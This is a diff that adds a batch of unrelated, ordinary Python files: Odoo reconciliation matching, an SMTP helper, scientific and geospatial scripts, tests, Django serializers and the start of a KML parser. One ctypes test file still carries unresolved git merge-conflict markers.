params2) + return cr.dictfetchall() + + def _query_credit(self, cr, uid, rec, context=None): + """Select all move (credit>0) as candidate. """ + select = self._select(rec) + sql_from = self._from(rec) + where, params = self._where(rec) + where += " AND account_move_line.credit > 0 " + where2, params2 = self._get_filter(cr, uid, rec, context=context) + query = ' '.join((select, sql_from, where, where2)) + cr.execute(query, params + params2) + return cr.dictfetchall() + + def _matchers(self, cr, uid, rec, move_line, context=None): + """ + Return the values used as matchers to find the opposite lines + + All the matcher keys in the dict must have their equivalent in + the `_opposite_matchers`. + + The values of each matcher key will be searched in the + one returned by the `_opposite_matchers` + + Must be inherited to implement the matchers for one method + + As instance, it can return: + return ('ref', move_line['rec']) + + or + return (('partner_id', move_line['partner_id']), + ('ref', "prefix_%s" % move_line['rec'])) + + All the matchers have to be found in the opposite lines + to consider them as "opposite" + + The matchers will be evaluated in the same order as declared + vs the the opposite matchers, so you can gain performance by + declaring first the partners with the less computation. + + All matchers should match with their opposite to be considered + as "matching". + So with the previous example, partner_id and ref have to be + equals on the opposite line matchers. + + :return: tuple of tuples (key, value) where the keys are + the matchers keys + (must be the same than `_opposite_matchers` returns, + and their values to match in the opposite lines. + A matching key can have multiples values. + """ + raise NotImplementedError + + def _opposite_matchers(self, cr, uid, rec, move_line, context=None): + """ + Return the values of the opposite line used as matchers + so the line is matched + + Must be inherited to implement the matchers for one method + It can be inherited to apply some formatting of fields + (strip(), lower() and so on) + + This method is the counterpart of the `_matchers()` method. + + Each matcher has to yield its value respecting the order + of the `_matchers()`. + + When a matcher does not correspond, the next matchers won't + be evaluated so the ones which need the less computation + have to be executed first. + + If the `_matchers()` returns: + (('partner_id', move_line['partner_id']), + ('ref', move_line['ref'])) + + Here, you should yield : + yield ('partner_id', move_line['partner_id']) + yield ('ref', move_line['ref']) + + Note that a matcher can contain multiple values, as instance, + if for a move line, you want to search from its `ref` in the + `ref` or `name` fields of the opposite move lines, you have to + yield ('partner_id', move_line['partner_id']) + yield ('ref', (move_line['ref'], move_line['name']) + + An OR is used between the values for the same key. + An AND is used between the differents keys. + + :param dict move_line: values of the move_line + :yield: matchers as tuple ('matcher key', value(s)) + """ + raise NotImplementedError + + @staticmethod + def _compare_values(key, value, opposite_value): + """Can be inherited to modify the equality condition + specifically according to the matcher key (maybe using + a like operator instead of equality on 'ref' as instance) + """ + # consider that empty vals are not valid matchers + # it can still be inherited for some special cases + # where it would be allowed + if not (value and opposite_value): + return False + + if value == opposite_value: + return True + return False + + @staticmethod + def _compare_matcher_values(key, values, opposite_values): + """ Compare every values from a matcher vs an opposite matcher + and return True if it matches + """ + for value, ovalue in product(values, opposite_values): + # we do not need to compare all values, if one matches + # we are done + if easy_reconcile_advanced._compare_values(key, value, ovalue): + return True + return False + + @staticmethod + def _compare_matchers(matcher, opposite_matcher): + """ + Prepare and check the matchers to compare + """ + mkey, mvalue = matcher + omkey, omvalue = opposite_matcher + assert mkey == omkey, \ + (_("A matcher %s is compared with a matcher %s, the _matchers and " + "_opposite_matchers are probably wrong") % (mkey, omkey)) + if not isinstance(mvalue, (list, tuple)): + mvalue = mvalue, + if not isinstance(omvalue, (list, tuple)): + omvalue = omvalue, + return easy_reconcile_advanced._compare_matcher_values(mkey, mvalue, + omvalue) + + def _compare_opposite(self, cr, uid, rec, move_line, opposite_move_line, + matchers, context=None): + """ Iterate over the matchers of the move lines vs opposite move lines + and if they all match, return True. + + If all the matchers match for a move line and an opposite move line, + they are candidate for a reconciliation. + """ + opp_matchers = self._opposite_matchers(cr, uid, rec, + opposite_move_line, + context=context) + for matcher in matchers: + try: + opp_matcher = opp_matchers.next() + except StopIteration: + # if you fall here, you probably missed to put a `yield` + # in `_opposite_matchers()` + raise ValueError("Missing _opposite_matcher: %s" % matcher[0]) + + if not self._compare_matchers(matcher, opp_matcher): + # if any of the matcher fails, the opposite line + # is not a valid counterpart + # directly returns so the next yield of _opposite_matchers + # are not evaluated + return False + + return True + + def _search_opposites(self, cr, uid, rec, move_line, opposite_move_lines, + context=None): + """Search the opposite move lines for a move line + + :param dict move_line: the move line for which we search opposites + :param list opposite_move_lines: list of dict of move lines values, + the move lines we want to search for + :return: list of matching lines + """ + matchers = self._matchers(cr, uid, rec, move_line, context=context) + return [op for op in opposite_move_lines if + self._compare_opposite( + cr, uid, rec, move_line, op, matchers, context=context)] + + def _action_rec(self, cr, uid, rec, context=None): + credit_lines = self._query_credit(cr, uid, rec, context=context) + debit_lines = self._query_debit(cr, uid, rec, context=context) + result = self._rec_auto_lines_advanced( + cr, uid, rec, credit_lines, debit_lines, context=context) + return result + + def _skip_line(self, cr, uid, rec, move_line, context=None): + """ + When True is returned on some conditions, the credit move line + will be skipped for reconciliation. Can be inherited to + skip on some conditions. ie: ref or partner_id is empty. + """ + return False + + def _rec_auto_lines_advanced(self, cr, uid, rec, credit_lines, debit_lines, + context=None): + """ Advanced reconciliation main loop """ + reconciled_ids = [] + partial_reconciled_ids = [] + reconcile_groups = [] + _logger.info("%d credit lines to reconcile", len(credit_lines)) + for idx, credit_line in enumerate(credit_lines, start=1): + if idx % 50 == 0: + _logger.info("... %d/%d credit lines inspected ...", idx, + len(credit_lines)) + if self._skip_line(cr, uid, rec, credit_line, context=context): + continue + opposite_lines = self._search_opposites( + cr, uid, rec, credit_line, debit_lines, context=context) + if not opposite_lines: + continue + opposite_ids = [l['id'] for l in opposite_lines] + line_ids = opposite_ids + [credit_line['id']] + for group in reconcile_groups: + if any([lid in group for lid in opposite_ids]): + _logger.debug("New lines %s matched with an existing " + "group %s", line_ids, group) + group.update(line_ids) + break + else: + _logger.debug("New group of lines matched %s", line_ids) + reconcile_groups.append(set(line_ids)) + lines_by_id = dict([(l['id'], l) for l in credit_lines + debit_lines]) + _logger.info("Found %d groups to reconcile", len(reconcile_groups)) + for group_count, reconcile_group_ids in enumerate(reconcile_groups, + start=1): + _logger.debug("Reconciling group %d/%d with ids %s", + group_count, len(reconcile_groups), + reconcile_group_ids) + group_lines = [lines_by_id[lid] for lid in reconcile_group_ids] + reconciled, full = self._reconcile_lines( + cr, uid, rec, group_lines, allow_partial=True, context=context) + if reconciled and full: + reconciled_ids += reconcile_group_ids + elif reconciled: + partial_reconciled_ids += reconcile_group_ids + + if (context['commit_every'] and + group_count % context['commit_every'] == 0): + cr.commit() + _logger.info("Commit the reconciliations after %d groups", + group_count) + _logger.info("Reconciliation is over") + return reconciled_ids, partial_reconciled_ids diff --git a/pool/shard009/Python/0081183_mailutils.py b/pool/shard009/Python/0081183_mailutils.py new file mode 100644 index 0000000000000000000000000000000000000000..4b1499e5a22c95a1eda8ba28d92018409259e63b --- /dev/null +++ b/pool/shard009/Python/0081183_mailutils.py @@ -0,0 +1,81 @@ +# Copyright (c) 2012 Liveperson. All rights reserved. +# +# Redistribution and use in source and binary forms, with or without +# modification, are permitted provided that the following conditions are +# met: +# +# * Redistributions of source code must retain the above copyright +# notice, this list of conditions and the following disclaimer. +# * Redistributions in binary form must reproduce the above +# copyright notice, this list of conditions and the following disclaimer +# in the documentation and/or other materials provided with the +# distribution. +# * Neither the name of Liveperson. nor the names of its +# contributors may be used to endorse or promote products derived from +# this software without specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +""" +Simple facade for sending emails, takes the host,port from configuration. +""" + +from merger.conf import mergeconf +import smtplib +from merger.conf.mergeconf import LOGGER + + + +def mail(recipients, subject, text, mailenabled=True): + """Send an email to recipients with specified subject,text. + + Args: + to: Array of recipients. + subject: str subject of email to be sent. + text: str The body text of the email. + + Returns: + Nothing, just sends an email. + """ + if not mailenabled: + LOGGER.debug('Not sending mail, not enabled...') + else: + smtp_server = mergeconf.SMTP_HOST + smtp_port = mergeconf.SMTP_PORT + login = mergeconf.MAIL_USERNAME + sender = mergeconf.MAIL_FROM_NAME + password = mergeconf.MAIL_PASSWORD + recipient = recipients + subject = subject + body = text + + body = "" + body + "" + + headers = ["From: " + sender, + "Subject: " + subject, + "To: " + ';'.join(recipient), + "MIME-Version: 1.0", + "Content-Type: text/plain"] + headers = "\r\n".join(headers) + + mergeconf.LOGGER.debug(headers + '\n' + body) + + session = smtplib.SMTP(smtp_server, smtp_port) + + session.ehlo() + session.starttls() + session.ehlo() + + session.login(login, password) + session.sendmail(sender, recipient, headers + "\r\n\r\n" + body) + session.quit() diff --git a/pool/shard009/Python/0081184_L2ErrorUCouette.py b/pool/shard009/Python/0081184_L2ErrorUCouette.py new file mode 100644 index 0000000000000000000000000000000000000000..ea187cc8b48e2e80f6d1eca05527eb45f29d503f --- /dev/null +++ b/pool/shard009/Python/0081184_L2ErrorUCouette.py @@ -0,0 +1,78 @@ +# This programs calculates the L2 error for a given velocity file +# +# Usage : python L2ErrorUCouette.py Velocity file +# +# Author : Bruno Blais +# Last modified : December 3rd + + +#Python imports +import os +import math +import numpy +import matplotlib.pyplot as plt +import sys +from mpl_toolkits.mplot3d import Axes3D +from matplotlib import cm +from matplotlib.ticker import LinearLocator, FormatStrFormatter + +#*********************************** +# Parameters for analytical solution +#*********************************** +omega = 0.1000 +R=0.1 +k = 1./4.; +analyseShear=False +analysePseudo=True + + +#=========================== +# Main program +#=========================== + +fname = sys.argv[1] +nx = int(sys.argv[2]) + +# read the file +#print "R-> Velocity file has been read" +if analysePseudo: + [x,y,z,u,v,w,p,V,pseudo] = numpy.loadtxt(fname, unpack=True) +elif analyseShear: + [x,y,z,u,v,w,p,V,shear] = numpy.loadtxt(fname, unpack=True) +else: + [x,y,z,u,v,w,p,V] = numpy.loadtxt(fname, unpack=True) + +r = numpy.sqrt(x**2 + y**2) +ut = numpy.sqrt(u**2 + v**2) + +#Analytical solution for theta velocity +rplot=[] +errU =[] +errV=[] +errS=[] +for i in range(0,len(r)): + if (r[i]>k*R and r[i] < R): + uth = omega *k* R * (-r[i]/(R) + (R)/r[i]) / (1/k - k) + rplot.append([r[i]]) + errU.append([V[i]*(ut[i]-uth)**2]) + errV.append([V[i]]) + + + if(analyseShear): + shearth=2*(-2 * omega * (R/r[i])**2 * (k**2/(1-k**2)))**2 + errS.append([V[i]*(shear[i]-shearth)**2]) + if(analysePseudo): + pseudoth=16 * 2*(-2 * omega * (R)**2 * (k**2/(1-k**2)))**2 * r[i]**(-6) + errS.append([V[i]*(pseudo[i]-pseudoth)**2]) + #print "Pseudo, pseudo th : ", pseudo[i], pseudoth, r[i] +nt = len(errU) + +L2errU = numpy.sqrt(numpy.sum(errU) / numpy.sum(errV)) / omega / R + +if (analyseShear or analysePseudo): + L2errS = numpy.sqrt(numpy.sum(errS) / numpy.sum(errV)) / omega + +if (analyseShear or analysePseudo): + print "%i %5.5e %5.5e" %(nx, L2errU,L2errS) +else: + print "%i %5.5e" %(nx, L2errU) diff --git a/pool/shard009/Python/0081186_test_types.py b/pool/shard009/Python/0081186_test_types.py new file mode 100644 index 0000000000000000000000000000000000000000..f5f1d59e54126068dc3e58c3aea1949b71646f75 --- /dev/null +++ b/pool/shard009/Python/0081186_test_types.py @@ -0,0 +1,89 @@ +from __future__ import absolute_import + +import numpy as np +from shapely.geometry import Point +from pandas import Series, DataFrame + +from geopandas import GeoSeries, GeoDataFrame +from geopandas.tests.util import unittest + +OLD_PANDAS = issubclass(Series, np.ndarray) + + +class TestSeries(unittest.TestCase): + + def setUp(self): + N = self.N = 10 + r = 0.5 + self.pts = GeoSeries([Point(x, y) for x, y in zip(range(N), range(N))]) + self.polys = self.pts.buffer(r) + + def test_slice(self): + assert type(self.pts[:2]) is GeoSeries + assert type(self.pts[::2]) is GeoSeries + assert type(self.polys[:2]) is GeoSeries + + def test_head(self): + assert type(self.pts.head()) is GeoSeries + + def test_tail(self): + assert type(self.pts.tail()) is GeoSeries + + def test_sort_index(self): + assert type(self.pts.sort_index()) is GeoSeries + + def test_loc(self): + assert type(self.pts.loc[5:]) is GeoSeries + + def test_iloc(self): + assert type(self.pts.iloc[5:]) is GeoSeries + + def test_fancy(self): + idx = (self.pts.index.to_series() % 2).astype(bool) + assert type(self.pts[idx]) is GeoSeries + + def test_take(self): + assert type(self.pts.take(list(range(0, self.N, 2)))) is GeoSeries + + def test_select(self): + assert type(self.pts.select(lambda x: x % 2 == 0)) is GeoSeries + + @unittest.skipIf(OLD_PANDAS, 'Groupby not supported on pandas <= 0.12') + def test_groupby(self): + for f, s in self.pts.groupby(lambda x: x % 2): + assert type(s) is GeoSeries + + +class TestDataFrame(unittest.TestCase): + + def setUp(self): + N = 10 + self.df = GeoDataFrame([ + {'geometry' : Point(x, y), 'value1': x + y, 'value2': x*y} + for x, y in zip(range(N), range(N))]) + + def test_geometry(self): + assert type(self.df.geometry) is GeoSeries + # still GeoSeries if different name + df2 = GeoDataFrame({"coords": [Point(x,y) for x, y in zip(range(5), + range(5))], + "nums": range(5)}, geometry="coords") + assert type(df2.geometry) is GeoSeries + assert type(df2['coords']) is GeoSeries + + def test_nongeometry(self): + assert type(self.df['value1']) is Series + + def test_geometry_multiple(self): + assert type(self.df[['geometry', 'value1']]) is GeoDataFrame + + def test_nongeometry_multiple(self): + assert type(self.df[['value1', 'value2']]) is DataFrame + + def test_slice(self): + assert type(self.df[:2]) is GeoDataFrame + assert type(self.df[::2]) is GeoDataFrame + + def test_fancy(self): + idx = (self.df.index.to_series() % 2).astype(bool) + assert type(self.df[idx]) is GeoDataFrame diff --git a/pool/shard009/Python/0081193_makeindex.py b/pool/shard009/Python/0081193_makeindex.py new file mode 100644 index 0000000000000000000000000000000000000000..042a9e5005eb248e35fb223d58aba4628b1e079e --- /dev/null +++ b/pool/shard009/Python/0081193_makeindex.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python +# encoding: utf-8 +from annoy import AnnoyIndex + +a = AnnoyIndex(8, 'a') +e = AnnoyIndex(8, 'e') +for n, l in enumerate(open('points.csv')): + x = [float(f) for f in l.strip().split(',')] + a.add_item(n, x) + e.add_item(n, x) + +a.build(-1) +a.save('points.angular.annoy') +e.build(-1) +e.save('points.euclidean.annoy') diff --git a/pool/shard009/Python/0081194_init__.py b/pool/shard009/Python/0081194_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..864723283051778bb7cfce8cfda023fa184a6d10 --- /dev/null +++ b/pool/shard009/Python/0081194_init__.py @@ -0,0 +1,59 @@ +"""Blueporint for the A-Li endpoints.""" + +import logging +from typing import Any, Dict + +import flask +import requests + +from bob_emploi.frontend.api import ali_pb2 +from bob_emploi.frontend.api import user_pb2 +from bob_emploi.frontend.server import proto_flask +from bob_emploi.frontend.server.mail import mail_send +from bob_emploi.frontend.server.mail.templates import mailjet_templates + +app = flask.Blueprint('ali', __name__) + + +def _send_email( + campaign_id: mailjet_templates.Id, user_profile: 'mail_send._Recipient', + template_vars: Dict[str, Any]) -> bool: + mail_result = mail_send.send_template(campaign_id, user_profile, template_vars) + try: + mail_result.raise_for_status() + except requests.exceptions.HTTPError as error: + logging.error('Failed to send an email with MailJet:\n %s', error) + return False + return True + + +# TODO(sil): Maybe return which email has been sent. +def _send_data_by_email(user_data: ali_pb2.User) -> ali_pb2.EmailStatuses: + user_email = user_data.user_email + user_profile = user_pb2.UserProfile(email=user_email) + counselor_email = user_data.counselor_email + mails_sent = ali_pb2.EmailStatuses() + template_vars = { + 'counselorEmail': counselor_email, + 'counselorName': user_data.counselor_name, + 'directLink': user_data.results_url, + 'userEmail': user_email, + } + + if user_profile.email: + mails_sent.has_user_email = _send_email('ali_connect_user', user_profile, template_vars) + if counselor_email: + counselor_profile = user_pb2.UserProfile(email=counselor_email) + mails_sent.has_counselor_email = _send_email( + 'ali_connect_counselor', counselor_profile, template_vars) + return mails_sent + + +@app.route('/user', methods=['POST']) +@proto_flask.api(in_type=ali_pb2.User, out_type=ali_pb2.EmailStatuses) +def send_ali_user(user_data: ali_pb2.User) -> ali_pb2.EmailStatuses: + """Send A-Li user data back by email.""" + + if not user_data.user_email: + flask.abort(400, "Impossible d'envoyer ses données à l'utilisateur·rice sans email.") + return _send_data_by_email(user_data) diff --git a/pool/shard009/Python/0081202_client_8.py b/pool/shard009/Python/0081202_client_8.py new file mode 100644 index 0000000000000000000000000000000000000000..c1329fe7d449b3e434bc5e8938605ab3c9b6faf0 --- /dev/null +++ b/pool/shard009/Python/0081202_client_8.py @@ -0,0 +1,15 @@ +""" +GUI server. +""" + +import client_1 +client_1.MAYAEXE = client_1.MAYAEXE.replace('mayabatch.exe', 'maya.exe') +import client_7 +client_7.COMMAND = client_7.SETCMD('_gui', client_7.ORIGCOMMAND) + +if __name__ == '__main__': + sock = client_7.create_client(client_7.start_process()) + client_7.sendrecv(sock, ('exec', 'import pymel.core as pmc')) + client_7.sendrecv(sock, ('exec', 'pmc.polySphere()')) + import time + time.sleep(20) diff --git a/pool/shard009/Python/0081205_markov.py b/pool/shard009/Python/0081205_markov.py new file mode 100644 index 0000000000000000000000000000000000000000..a561e3d691f714b7c3d203c36600c6b21d5eb5ed --- /dev/null +++ b/pool/shard009/Python/0081205_markov.py @@ -0,0 +1,95 @@ +import random +import io +import json + +class Markov: + try: + wordsFile = open("words.json", "+r") + vocabFile = open("vocab.json", "+r") + words = json.load(wordsFile) + vocab = json.load(vocabFile) + except: + wordsFile = open("words.json", "+w") + vocabFile = open("vocab.json", "+w") + words = [] + vocab = {} + # def __init__(self): + # self.words = json.load(Markov.wordsFile) + # self.vocab = json.load(Markov.vocabFile) + # + # def readText(self, txt): + # txt = txt.split() + # try: + # for i in range(len(txt) - 1): + # try: + # self.vocab[txt[i]].append(txt[i + 1]) + # except: + # self.vocab[txt[i]] = [txt[i + 1]] + # self.words.append(txt[i]) + # except: + # pass + # + # def writeText(self, n = 100): + # text = [random.choice(self.words)] + # n -= 1 + # try: + # for i in range(n): + # tmp = self.vocab[text[i]] + # text.append(random.choice(tmp)) + # except KeyError: + # return " ".join(text) + # except IndexError as e: + # return e + # return " ".join(text) + # + # def save(self): + # Markov.wordsFile.flush(); + # json.dump(self.words, Markov.wordsFile) + # Markov.vocabFile.flush(); + # json.dump(self.vocab, Markov.vocabFile) + # + # def stop(self): + # self.save(self) + # self.vocabFile.close() + # self.wordsFile.close() + # print("Stopping Markov!") + + def readText(txt): + txt = txt.split() + for i in range(len(txt) - 1): + try: + Markov.vocab[txt[i]].append(txt[i + 1]) + except: + Markov.vocab[txt[i]] = [txt[i + 1]] + Markov.words.append(txt[i]) + + def save(): + Markov.wordsFile.flush() + Markov.vocabFile.flush() + json.dump(Markov.words, Markov.wordsFile) + json.dump(Markov.vocab, Markov.vocabFile) + + + def writeText(n = 100): + text = [random.choice(Markov.words)] + n -= 1 + try: + for i in range(n): + tmp = Markov.vocab[text[i]] + text.append(random.choice(tmp)) + except KeyError: + print("Just a key error, nothing to see here!") + return " ".join(text) + finally: + return " ".join(text) + + def stop(): + Markov.save() + Markov.vocabFile.close() + Markov.wordsFile.close() + +if __name__ == "__main__": + text = """test""" + Markov.readText(text) + print(Markov.writeText()) +#test \ No newline at end of file diff --git a/pool/shard009/Python/0081211_test_bytes.py b/pool/shard009/Python/0081211_test_bytes.py new file mode 100644 index 0000000000000000000000000000000000000000..8cc2a1cdf9c4b19dbc74cec5cee683f8025cce57 --- /dev/null +++ b/pool/shard009/Python/0081211_test_bytes.py @@ -0,0 +1,201 @@ +<<<<<<< HEAD +<<<<<<< HEAD +"""Test where byte objects are accepted""" +import unittest +import sys +from ctypes import * + +class BytesTest(unittest.TestCase): + def test_c_char(self): + x = c_char(b"x") + self.assertRaises(TypeError, c_char, "x") + x.value = b"y" + with self.assertRaises(TypeError): + x.value = "y" + c_char.from_param(b"x") + self.assertRaises(TypeError, c_char.from_param, "x") + (c_char * 3)(b"a", b"b", b"c") + self.assertRaises(TypeError, c_char * 3, "a", "b", "c") + + def test_c_wchar(self): + x = c_wchar("x") + self.assertRaises(TypeError, c_wchar, b"x") + x.value = "y" + with self.assertRaises(TypeError): + x.value = b"y" + c_wchar.from_param("x") + self.assertRaises(TypeError, c_wchar.from_param, b"x") + (c_wchar * 3)("a", "b", "c") + self.assertRaises(TypeError, c_wchar * 3, b"a", b"b", b"c") + + def test_c_char_p(self): + c_char_p(b"foo bar") + self.assertRaises(TypeError, c_char_p, "foo bar") + + def test_c_wchar_p(self): + c_wchar_p("foo bar") + self.assertRaises(TypeError, c_wchar_p, b"foo bar") + + def test_struct(self): + class X(Structure): + _fields_ = [("a", c_char * 3)] + + x = X(b"abc") + self.assertRaises(TypeError, X, "abc") + self.assertEqual(x.a, b"abc") + self.assertEqual(type(x.a), bytes) + + def test_struct_W(self): + class X(Structure): + _fields_ = [("a", c_wchar * 3)] + + x = X("abc") + self.assertRaises(TypeError, X, b"abc") + self.assertEqual(x.a, "abc") + self.assertEqual(type(x.a), str) + + @unittest.skipUnless(sys.platform == "win32", 'Windows-specific test') + def test_BSTR(self): + from _ctypes import _SimpleCData + class BSTR(_SimpleCData): + _type_ = "X" + + BSTR("abc") + + +if __name__ == '__main__': + unittest.main() +======= +"""Test where byte objects are accepted""" +import unittest +import sys +from ctypes import * + +class BytesTest(unittest.TestCase): + def test_c_char(self): + x = c_char(b"x") + self.assertRaises(TypeError, c_char, "x") + x.value = b"y" + with self.assertRaises(TypeError): + x.value = "y" + c_char.from_param(b"x") + self.assertRaises(TypeError, c_char.from_param, "x") + (c_char * 3)(b"a", b"b", b"c") + self.assertRaises(TypeError, c_char * 3, "a", "b", "c") + + def test_c_wchar(self): + x = c_wchar("x") + self.assertRaises(TypeError, c_wchar, b"x") + x.value = "y" + with self.assertRaises(TypeError): + x.value = b"y" + c_wchar.from_param("x") + self.assertRaises(TypeError, c_wchar.from_param, b"x") + (c_wchar * 3)("a", "b", "c") + self.assertRaises(TypeError, c_wchar * 3, b"a", b"b", b"c") + + def test_c_char_p(self): + c_char_p(b"foo bar") + self.assertRaises(TypeError, c_char_p, "foo bar") + + def test_c_wchar_p(self): + c_wchar_p("foo bar") + self.assertRaises(TypeError, c_wchar_p, b"foo bar") + + def test_struct(self): + class X(Structure): + _fields_ = [("a", c_char * 3)] + + x = X(b"abc") + self.assertRaises(TypeError, X, "abc") + self.assertEqual(x.a, b"abc") + self.assertEqual(type(x.a), bytes) + + def test_struct_W(self): + class X(Structure): + _fields_ = [("a", c_wchar * 3)] + + x = X("abc") + self.assertRaises(TypeError, X, b"abc") + self.assertEqual(x.a, "abc") + self.assertEqual(type(x.a), str) + + @unittest.skipUnless(sys.platform == "win32", 'Windows-specific test') + def test_BSTR(self): + from _ctypes import _SimpleCData + class BSTR(_SimpleCData): + _type_ = "X" + + BSTR("abc") + + +if __name__ == '__main__': + unittest.main() +>>>>>>> b875702c9c06ab5012e52ff4337439b03918f453 +======= +"""Test where byte objects are accepted""" +import unittest +import sys +from ctypes import * + +class BytesTest(unittest.TestCase): + def test_c_char(self): + x = c_char(b"x") + self.assertRaises(TypeError, c_char, "x") + x.value = b"y" + with self.assertRaises(TypeError): + x.value = "y" + c_char.from_param(b"x") + self.assertRaises(TypeError, c_char.from_param, "x") + (c_char * 3)(b"a", b"b", b"c") + self.assertRaises(TypeError, c_char * 3, "a", "b", "c") + + def test_c_wchar(self): + x = c_wchar("x") + self.assertRaises(TypeError, c_wchar, b"x") + x.value = "y" + with self.assertRaises(TypeError): + x.value = b"y" + c_wchar.from_param("x") + self.assertRaises(TypeError, c_wchar.from_param, b"x") + (c_wchar * 3)("a", "b", "c") + self.assertRaises(TypeError, c_wchar * 3, b"a", b"b", b"c") + + def test_c_char_p(self): + c_char_p(b"foo bar") + self.assertRaises(TypeError, c_char_p, "foo bar") + + def test_c_wchar_p(self): + c_wchar_p("foo bar") + self.assertRaises(TypeError, c_wchar_p, b"foo bar") + + def test_struct(self): + class X(Structure): + _fields_ = [("a", c_char * 3)] + + x = X(b"abc") + self.assertRaises(TypeError, X, "abc") + self.assertEqual(x.a, b"abc") + self.assertEqual(type(x.a), bytes) + + def test_struct_W(self): + class X(Structure): + _fields_ = [("a", c_wchar * 3)] + + x = X("abc") + self.assertRaises(TypeError, X, b"abc") + self.assertEqual(x.a, "abc") + self.assertEqual(type(x.a), str) + + @unittest.skipUnless(sys.platform == "win32", 'Windows-specific test') + def test_BSTR(self): + from _ctypes import _SimpleCData + class BSTR(_SimpleCData): + _type_ = "X" + + BSTR("abc") + + +if __name__ == '__main__': + unittest.main() +>>>>>>> b875702c9c06ab5012e52ff4337439b03918f453 diff --git a/pool/shard009/Python/0081212_tests.py b/pool/shard009/Python/0081212_tests.py new file mode 100644 index 0000000000000000000000000000000000000000..ddb5a44898bb49ab7298352e795285c10170790f --- /dev/null +++ b/pool/shard009/Python/0081212_tests.py @@ -0,0 +1,46 @@ +import datetime + +from djpcms.test import TestCase +from djpcms.models import SiteContent + + +class CalendarViewTest(TestCase): + fixtures = ["sitecontent.json"] + appurls = 'regression.apparchive.appurls' + + def callView(self, url): + today = datetime.date.today() + response = self.client.get(today.strftime(url).lower()) + if isinstance(response.context, list): + context = response.context[0] + else: + context = response.context + return today, response, context + + def testYearView(self): + today, response, context = self.callView("/content/%Y/") + pa = context["paginator"] + self.assertEqual(int(context["year"]), today.year) + self.assertEqual(pa.total, + SiteContent.objects.filter(last_modified__year = today.year).count()) + + def testMonthView(self): + today, response, context = self.callView("/content/%Y/%b/") + pa = context["paginator"] + self.assertEqual(int(context["year"]), today.year) + #self.assertEqual(context["month"], today.month) + self.assertEqual(pa.total, + SiteContent.objects.filter(last_modified__year = today.year, + last_modified__month = today.month).count()) + + def testDayView(self): + today, response, context = self.callView("/content/%Y/%b/%d/") + pa = context["paginator"] + self.assertEqual(int(context["year"]), today.year) + #self.assertEqual(context["month"], today.month) + self.assertEqual(int(context["day"]), today.day) + self.assertEqual(pa.total, + SiteContent.objects.filter(last_modified__year = today.year, + last_modified__month = today.month, + last_modified__day = today.day).count()) + diff --git a/pool/shard009/Python/0081220_serializers.py b/pool/shard009/Python/0081220_serializers.py new file mode 100644 index 0000000000000000000000000000000000000000..e55d902910dbc7f2bed4bcdc01421e2f031df57f --- /dev/null +++ b/pool/shard009/Python/0081220_serializers.py @@ -0,0 +1,57 @@ +from rest_framework import serializers + +from .models import Vehicle, Pass, Driver, AccessPoint, TimeSlot, Access + + +class DriverSerializer(serializers.ModelSerializer): + class Meta(object): + model = Driver + fields = ('first_name', 'last_name', 'entity_name',) + + +class AccessPointSerializer(serializers.ModelSerializer): + class Meta(object): + model = AccessPoint + fields = ('id', 'name',) + + +class TimeSlotSerializer(serializers.ModelSerializer): + class Meta(object): + model = TimeSlot + fields = ('id', 'name', 'begins_at', 'ends_at',) + + +class VehicleSerializer(serializers.ModelSerializer): + class Meta(object): + model = Vehicle + fields = ('numberplate',) + + +class PassSerializer(serializers.ModelSerializer): + pass_id = serializers.SerializerMethodField() + vehicle = VehicleSerializer() + allowed_drivers = DriverSerializer(many=True) + allowed_access_points = AccessPointSerializer(many=True) + allowed_time_slots = TimeSlotSerializer(many=True) + + class Meta(object): + model = Pass + fields = ('id', 'pass_id', 'comment', 'vehicle', 'allowed_drivers', 'allowed_access_points', + 'allowed_time_slots') + + def get_pass_id(self, obj): + return '17' + str(obj.id).zfill(3) + + +class AccessSerializer(serializers.ModelSerializer): + class Meta(object): + model = Access + fields = ('id', 'type', 'numberplate', 'access_point', 'comment', 'created_at',) + read_only_fields = ('id', 'created_at',) + + +class AccessCommentSerializer(serializers.ModelSerializer): + class Meta(object): + model = Access + fields = ('id', 'comment',) + read_only_fields = ('id',) diff --git a/pool/shard009/Python/0081224_kmlparser.py b/pool/shard009/Python/0081224_kmlparser.py new file mode 100644 index 0000000000000000000000000000000000000000..993a852324d83a73ec6bcd72257f3becbc9b69e8 --- /dev/null +++ b/pool/shard009/Python/0081224_kmlparser.py @@ -0,0 +1,168 @@ +#!/usr/bin/python + +# Copyright (C) 2007 Google Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +""" +This package provides implementation of a converter from a kml +file format into Google transit feed format. + +The KmlParser class is the main class implementing the parser. + +For point geometries, information about stops is extracted from a kml file. +The extractor expects the stops to be represented as placemarks with +a single point. + +For line geometries, information about shapes is extracted from a kml file. + +""" +from __future__ import print_function + +import re +import string +import sys +import transitfeed +from transitfeed import util +import xml.dom.minidom as minidom +import zipfile + + +class Placemark(object): + def __init__(self): + self.name = "" + self.coordinates = [] + + def IsPoint(self): + return len(self.coordinates) == 1 + + def IsLine(self): + return len(self.coordinates) > 1 + +class KmlParser(object): + def __init__(self, 